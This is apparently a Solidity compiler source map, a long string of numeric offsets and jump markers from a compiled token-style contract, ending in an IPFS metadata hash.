33705:2041:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16217:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18568:201;;;;;;;;;;-1:-1:-1;18568:201:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;18568:201:0;1023:187:1;17337:108:0;;;;;;;;;;-1:-1:-1;17425:12:0;;17337:108;;;1361:25:1;;;1349:2;1334:18;17337:108:0;1215:177:1;19349:295:0;;;;;;;;;;-1:-1:-1;19349:295:0;;;;;:::i;:::-;;:::i;17179:93::-;;;;;;;;;;-1:-1:-1;17179:93:0;;17262:2;2000:36:1;;1988:2;1973:18;17179:93:0;1858:184:1;20053:238:0;;;;;;;;;;-1:-1:-1;20053:238:0;;;;;:::i;:::-;;:::i;28477:91::-;;;;;;;;;;-1:-1:-1;28477:91:0;;;;;:::i;:::-;;:::i;:::-;;33815:36;;;;;;;;;;-1:-1:-1;33815:36:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;35334:130;;;;;;;;;;-1:-1:-1;35334:130:0;;;;;:::i;:::-;;:::i;9678:103::-;;;;;;;;;;;;;:::i;28887:164::-;;;;;;;;;;-1:-1:-1;28887:164:0;;;;;:::i;:::-;;:::i;33791:17::-;;;;;;;;;;-1:-1:-1;33791:17:0;;;;-1:-1:-1;;;;;33791:17:0;;;;;;-1:-1:-1;;;;;2663:32:1;;;2645:51;;2633:2;2618:18;33791:17:0;2484:218:1;34856:374:0;;;;;;;;;;-1:-1:-1;34856:374:0;;;;;:::i;:::-;;:::i;9030:87::-;;;;;;;;;;-1:-1:-1;9103:6:0;;-1:-1:-1;;;;;9103:6:0;9030:87;;16436:104;;;;;;;;;;;;;:::i;20794:436::-;;;;;;;;;;-1:-1:-1;20794:436:0;;;;;:::i;:::-;;:::i;17841:193::-;;;;;;;;;;-1:-1:-1;17841:193:0;;;;;:::i;:::-;;:::i;35470:271::-;;;;;;;;;;-1:-1:-1;35470:271:0;;;;;:::i;:::-;;:::i;18097:151::-;;;;;;;;;;-1:-1:-1;18097:151:0;;;;;:::i;:::-;;:::i;9936:201::-;;;;;;;;;;-1:-1:-1;9936:201:0;;;;;:::i;:::-;;:::i;35236:90::-;;;;;;;;;;-1:-1:-1;35236:90:0;;;;;:::i;:::-;;:::i;16217:100::-;16271:13;16304:5;16297:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16217:100;:::o;18568:201::-;18651:4;7661:10;18707:32;7661:10;18723:7;18732:6;18707:8;:32::i;:::-;18757:4;18750:11;;;18568:201;;;;;:::o;19349:295::-;19480:4;7661:10;19538:38;19554:4;7661:10;19569:6;19538:15;:38::i;:::-;19587:27;19597:4;19603:2;19607:6;19587:9;:27::i;:::-;-1:-1:-1;19632:4:0;;19349:295;-1:-1:-1;;;;19349:295:0:o;20053:238::-;20141:4;7661:10;20197:64;7661:10;20213:7;20250:10;20222:25;7661:10;20213:7;20222:9;:25::i;:::-;:38;;;;:::i;:::-;20197:8;:64::i;28477:91::-;28533:27;7661:10;28553:6;28533:5;:27::i;:::-;28477:91;:::o;35334:130::-;-1:-1:-1;;;;;17609:18:0;;35408:4;17609:18;;;;;;;;;;;35432:24;17508:127;9678:103;8916:13;:11;:13::i;:::-;9743:30:::1;9770:1;9743:18;:30::i;:::-;9678:103::o:0;28887:164::-;28964:46;28980:7;7661:10;29003:6;28964:15;:46::i;:::-;29021:22;29027:7;29036:6;29021:5;:22::i;:::-;28887:164;;:::o;34856:374::-;34932:7;;34973:16;;;-1:-1:-1;;;34973:16:0;;;;-1:-1:-1;;;;;34932:7:0;;;;34909:14;;34932:7;;34973:14;;:16;;;;;;;;;;;;;;;34932:7;34973:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;34964:65;;-1:-1:-1;;;34964:65:0;;-1:-1:-1;;;;;4406:15:1;;;34964:65:0;;;4388:34:1;35023:4:0;4438:18:1;;;4431:43;34964:34:0;;;;;;;4323:18:1;;34964:65:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;34951:78;-1:-1:-1;;;;;;35043:16:0;;35040:95;;35076:6;-1:-1:-1;;;;;35076:14:0;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;35067:68;;-1:-1:-1;;;35067:68:0;;-1:-1:-1;;;;;4406:15:1;;;35067:68:0;;;4388:34:1;35129:4:0;4438:18:1;;;4431:43;35067:37:0;;;;;;;4323:18:1;;35067:68:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;35060:75;;35040:95;-1:-1:-1;;;;;35154:16:0;;35146:46;;;;-1:-1:-1;;;35146:46:0;;4687:2:1;35146:46:0;;;4669:21:1;4726:2;4706:18;;;4699:30;-1:-1:-1;;;4745:18:1;;;4738:47;4802:18;;35146:46:0;;;;;;;;;-1:-1:-1;;;;;35204:12:0;;;;;:6;:12;;;;;:17;;-1:-1:-1;;35204:17:0;35217:4;35204:17;;;-1:-1:-1;;34856:374:0:o;16436:104::-;16492:13;16525:7;16518:14;;;;;:::i;20794:436::-;20887:4;7661:10;20887:4;20970:25;7661:10;20987:7;20970:9;:25::i;:::-;20943:52;;21034:15;21014:16;:35;;21006:85;;;;-1:-1:-1;;;21006:85:0;;5033:2:1;21006:85:0;;;5015:21:1;5072:2;5052:18;;;5045:30;5111:34;5091:18;;;5084:62;-1:-1:-1;;;5162:18:1;;;5155:35;5207:19;;21006:85:0;4831:401:1;21006:85:0;21127:60;21136:5;21143:7;21171:15;21152:16;:34;21127:8;:60::i;17841:193::-;17920:4;7661:10;17976:28;7661:10;17993:2;17997:6;17976:9;:28::i;35470:271::-;-1:-1:-1;;;;;35533:17:0;;35530:202;;35591:3;;35583:35;;35568:12;;-1:-1:-1;;;;;35591:3:0;;35607:6;;35568:12;35583:35;35568:12;35583:35;35607:6;35591:3;35583:35;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;35567:51;;;35642:7;35634:35;;;;-1:-1:-1;;;35634:35:0;;5649:2:1;35634:35:0;;;5631:21:1;5688:2;5668:18;;;5661:30;-1:-1:-1;;;5707:18:1;;;5700:45;5762:18;;35634:35:0;5447:339:1;35634:35:0;35551:131;28887:164;;:::o;35530:202::-;35721:3;;35698:34;;-1:-1:-1;;;35698:34:0;;-1:-1:-1;;;;;35721:3:0;;;35698:34;;;5965:51:1;6032:18;;;6025:34;;;35698:22:0;;;;;;5938:18:1;;35698:34:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;18097:151::-;-1:-1:-1;;;;;18213:18:0;;;18186:7;18213:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;18097:151::o;9936:201::-;8916:13;:11;:13::i;:::-;-1:-1:-1;;;;;10025:22:0;::::1;10017:73;;;::::0;-1:-1:-1;;;10017:73:0;;6554:2:1;10017:73:0::1;::::0;::::1;6536:21:1::0;6593:2;6573:18;;;6566:30;6632:34;6612:18;;;6605:62;-1:-1:-1;;;6683:18:1;;;6676:36;6729:19;;10017:73:0::1;6352:402:1::0;10017:73:0::1;10101:28;10120:8;10101:18;:28::i;35236:90::-:0;8916:13;:11;:13::i;:::-;-1:-1:-1;;;;;35299:12:0::1;35312:5;35299:12:::0;;;:6:::1;:12;::::0;;;;:18;;-1:-1:-1;;35299:18:0::1;::::0;;35236:90::o;25310:380::-;-1:-1:-1;;;;;25446:19:0;;25438:68;;;;-1:-1:-1;;;25438:68:0;;6961:2:1;25438:68:0;;;6943:21:1;7000:2;6980:18;;;6973:30;7039:34;7019:18;;;7012:62;-1:-1:-1;;;7090:18:1;;;7083:34;7134:19;;25438:68:0;6759:400:1;25438:68:0;-1:-1:-1;;;;;25525:21:0;;25517:68;;;;-1:-1:-1;;;25517:68:0;;7366:2:1;25517:68:0;;;7348:21:1;7405:2;7385:18;;;7378:30;7444:34;7424:18;;;7417:62;-1:-1:-1;;;7495:18:1;;;7488:32;7537:19;;25517:68:0;7164:398:1;25517:68:0;-1:-1:-1;;;;;25598:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;25650:32;;1361:25:1;;;25650:32:0;;1334:18:1;25650:32:0;;;;;;;25310:380;;;:::o;25981:453::-;26116:24;26143:25;26153:5;26160:7;26143:9;:25::i;:::-;26116:52;;-1:-1:-1;;26183:16:0;:37;26179:248;;26265:6;26245:16;:26;;26237:68;;;;-1:-1:-1;;;26237:68:0;;7769:2:1;26237:68:0;;;7751:21:1;7808:2;7788:18;;;7781:30;7847:31;7827:18;;;7820:59;7896:18;;26237:68:0;7567:353:1;26237:68:0;26349:51;26358:5;26365:7;26393:6;26374:16;:25;26349:8;:51::i;:::-;26105:329;25981:453;;;:::o;21700:840::-;-1:-1:-1;;;;;21831:18:0;;21823:68;;;;-1:-1:-1;;;21823:68:0;;8127:2:1;21823:68:0;;;8109:21:1;8166:2;8146:18;;;8139:30;8205:34;8185:18;;;8178:62;-1:-1:-1;;;8256:18:1;;;8249:35;8301:19;;21823:68:0;7925:401:1;21823:68:0;-1:-1:-1;;;;;21910:16:0;;21902:64;;;;-1:-1:-1;;;21902:64:0;;8533:2:1;21902:64:0;;;8515:21:1;8572:2;8552:18;;;8545:30;8611:34;8591:18;;;8584:62;-1:-1:-1;;;8662:18:1;;;8655:33;8705:19;;21902:64:0;8331:399:1;21902:64:0;21979:38;22000:4;22006:2;22010:6;21979:20;:38::i;:::-;-1:-1:-1;;;;;22052:15:0;;22030:19;22052:15;;;;;;;;;;;22086:21;;;;22078:72;;;;-1:-1:-1;;;22078:72:0;;8937:2:1;22078:72:0;;;8919:21:1;8976:2;8956:18;;;8949:30;9015:34;8995:18;;;8988:62;-1:-1:-1;;;9066:18:1;;;9059:36;9112:19;;22078:72:0;8735:402:1;22078:72:0;-1:-1:-1;;;;;22186:15:0;;;:9;:15;;;;;;;;;;;22204:20;;;22186:38;;22404:13;;;;;;;;;;:23;;;;;;22456:26;;1361:25:1;;;22404:13:0;;22456:26;;1334:18:1;22456:26:0;;;;;;;22495:37;22515:4;22521:2;22525:6;22495:19;:37::i;24197:675::-;-1:-1:-1;;;;;24281:21:0;;24273:67;;;;-1:-1:-1;;;24273:67:0;;9344:2:1;24273:67:0;;;9326:21:1;9383:2;9363:18;;;9356:30;9422:34;9402:18;;;9395:62;-1:-1:-1;;;9473:18:1;;;9466:31;9514:19;;24273:67:0;9142:397:1;24273:67:0;24353:49;24374:7;24391:1;24395:6;24353:20;:49::i;:::-;-1:-1:-1;;;;;24440:18:0;;24415:22;24440:18;;;;;;;;;;;24477:24;;;;24469:71;;;;-1:-1:-1;;;24469:71:0;;9746:2:1;24469:71:0;;;9728:21:1;9785:2;9765:18;;;9758:30;9824:34;9804:18;;;9797:62;-1:-1:-1;;;9875:18:1;;;9868:32;9917:19;;24469:71:0;9544:398:1;24469:71:0;-1:-1:-1;;;;;24576:18:0;;:9;:18;;;;;;;;;;;24597:23;;;24576:44;;24715:12;:22;;;;;;;24766:37;1361:25:1;;;24576:9:0;;:18;24766:37;;1334:18:1;24766:37:0;;;;;;;24816:48;24836:7;24853:1;24857:6;24816:19;:48::i;9195:132::-;9103:6;;-1:-1:-1;;;;;9103:6:0;7661:10;9259:23;9251:68;;;;-1:-1:-1;;;9251:68:0;;10149:2:1;9251:68:0;;;10131:21:1;;;10168:18;;;10161:30;10227:34;10207:18;;;10200:62;10279:18;;9251:68:0;9947:356:1;10297:191:0;10390:6;;;-1:-1:-1;;;;;10407:17:0;;;-1:-1:-1;;;;;;10407:17:0;;;;;;;10440:40;;10390:6;;;10407:17;10390:6;;10440:40;;10371:16;;10440:40;10360:128;10297:191;:::o;34501:187::-;33954:9;;-1:-1:-1;;;33954:9:0;;;;33951:21;;;34501:187;;;:::o;33951:21::-;33982:9;:14;;-1:-1:-1;;;;33982:14:0;-1:-1:-1;;;33982:14:0;;;-1:-1:-1;;;;;34608:12:0;::::1;33982:14:::0;34608:12;;;:6:::1;:12;::::0;;;;;33982:14;34608:12:::1;34607:13;:28:::0;::::1;;;-1:-1:-1::0;;;;;;34625:10:0;::::1;;::::0;;;:6:::1;:10;::::0;;;;;::::1;;34624:11;34607:28;:41;;;-1:-1:-1::0;34639:9:0;;34607:41:::1;34650:7;34604:53;34667:3;;;;;;;;;-1:-1:-1::0;;;;;34667:3:0::1;-1:-1:-1::0;;;;;34667:11:0::1;;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;34007:1;-1:-1:-1::0;;34019:9:0;:15;;-1:-1:-1;;;;34019:15:0;;;-1:-1:-1;34501:187:0:o;34695:155::-;33954:9;;-1:-1:-1;;;33954:9:0;;;;33951:21;;;34695:155;;;:::o;33951:21::-;33982:9;:14;;-1:-1:-1;;;;33982:14:0;-1:-1:-1;;;33982:14:0;;;-1:-1:-1;;;;;34800:16:0;::::1;::::0;;:34:::1;;-1:-1:-1::0;;;;;;34820:14:0;::::1;::::0;34800:34:::1;34836:7;34797:46;-1:-1:-1::0;;34019:9:0;:15;;-1:-1:-1;;;;34019:15:0;;;-1:-1:-1;34695:155:0:o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:180::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;-1:-1:-1;2198:23:1;;2047:180;-1:-1:-1;2047:180:1:o;2232:247::-;2291:6;2344:2;2332:9;2323:7;2319:23;2315:32;2312:52;;;2360:1;2357;2350:12;2312:52;2399:9;2386:23;2418:31;2443:5;2418:31;:::i;:::-;2468:5;2232:247;-1:-1:-1;;;2232:247:1:o;2915:388::-;2983:6;2991;3044:2;3032:9;3023:7;3019:23;3015:32;3012:52;;;3060:1;3057;3050:12;3012:52;3099:9;3086:23;3118:31;3143:5;3118:31;:::i;:::-;3168:5;-1:-1:-1;3225:2:1;3210:18;;3197:32;3238:33;3197:32;3238:33;:::i;:::-;3290:7;3280:17;;;2915:388;;;;;:::o;3308:380::-;3387:1;3383:12;;;;3430;;;3451:61;;3505:4;3497:6;3493:17;3483:27;;3451:61;3558:2;3550:6;3547:14;3527:18;3524:38;3521:161;;3604:10;3599:3;3595:20;3592:1;3585:31;3639:4;3636:1;3629:15;3667:4;3664:1;3657:15;3521:161;;3308:380;;;:::o;3693:222::-;3758:9;;;3779:10;;;3776:133;;;3831:10;3826:3;3822:20;3819:1;3812:31;3866:4;3863:1;3856:15;3894:4;3891:1;3884:15;3920:251;3990:6;4043:2;4031:9;4022:7;4018:23;4014:32;4011:52;;;4059:1;4056;4049:12;4011:52;4091:9;4085:16;4110:31;4135:5;4110:31;:::i;6070:277::-;6137:6;6190:2;6178:9;6169:7;6165:23;6161:32;6158:52;;;6206:1;6203;6196:12;6158:52;6238:9;6232:16;6291:5;6284:13;6277:21;6270:5;6267:32;6257:60;;6313:1;6310;6303:12

ipfs://c2f06a4354eda26e14463d86c8d7faab3a6172835363903d75eb12ec396838f8